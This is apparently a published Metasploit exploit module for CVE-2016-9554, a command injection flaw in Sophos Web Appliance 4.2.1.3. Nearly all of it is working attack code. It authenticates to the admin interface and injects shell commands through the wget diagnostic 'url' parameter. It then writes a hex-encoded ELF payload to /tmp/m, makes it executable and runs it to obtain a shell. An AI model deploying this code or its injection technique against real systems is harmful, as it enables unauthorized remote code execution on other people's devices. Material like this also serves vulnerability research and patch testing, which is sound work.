Sophos Web Appliance 4.2.1.3 Remote Command Execution

`# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity   
# Date: 12/12/2016  
# Exploit Author: xort @ Critical Start  
# Vendor Homepage: www.sophos.com  
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx  
# Version: 4.2.1.3  
# Tested on: 4.2.1.3  
#   
# CVE : CVE-2016-9554  
  
# vuln: diagnostic_tools command / host parameter / MgrReport.php exploit  
  
# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug.   
#  
# xort @ Critical Start  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sophos Web Appliace <= v4.2.1.3 remote exploit',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in  
the Sophos Web Appliace Version <= v4.2.1.3. The vulnerability exist in  
a section of the machine's adminstrative infertface for performing diagnostic  
network test with wget and unsanitized unser supplied information.   
},  
'Author' =>  
[  
'xort@Critical Start', # vuln + metasploit module  
],  
'Version' => '$Revision: 1 $',  
'References' =>  
[  
[ 'none', 'none'],  
],  
'Platform' => [ 'linux'],  
'Privileged' => true,  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Privileged' => false,  
  
'Payload' =>  
{   
'Compat' =>  
{  
'ConnectionType' => 'find',  
}  
},  
  
'Targets' =>  
[  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(443),  
], self.class)  
end  
  
def do_login(username, password_clear)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
style_key = Rex::Text.rand_text_hex(32)  
  
# send request   
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/index.php",  
'vars_get' => {  
'c' => 'login',  
},  
'vars_post' =>  
{  
  
'STYLE' => style_key,  
'destination' => '',  
'section' => '',  
'username' => username,  
'password' => password_clear,  
}  
}, timeout)  
  
return style_key  
end  
  
def run_command(username, style_password, cmd)  
  
vprint_status( "Running Command...\n" )  
  
# send request with payload   
res = send_request_cgi({  
'method' => 'POST',  
'vars_post' => {  
'action' => 'wget',  
'section' => 'configuration',  
'STYLE' => style_password ,  
'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',  
},  
'vars_get' => {  
'c' => 'diagnostic_tools',  
},  
})  
  
end  
  
  
def exploit  
# timeout  
timeout = 1550;  
  
# params  
password_clear = datastore['PASSWORD']  
user = datastore['USERNAME']  
  
# do authentication   
style_hash = do_login(user, password_clear)  
  
vprint_status("STATUS hash authenticated: #{style_hash}\n")  
  
# pause to let things run smoothly  
sleep(5)  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']  
  
# Encode cmd payload  
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# kill stale calls to bdump from previous exploit calls for re-use  
run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))  
else  
# Encode payload to ELF file for deployment  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')  
  
# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)  
run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))  
  
# wait for magic  
handler  
  
end  
  
  
end  
# sophox-release  
end  
`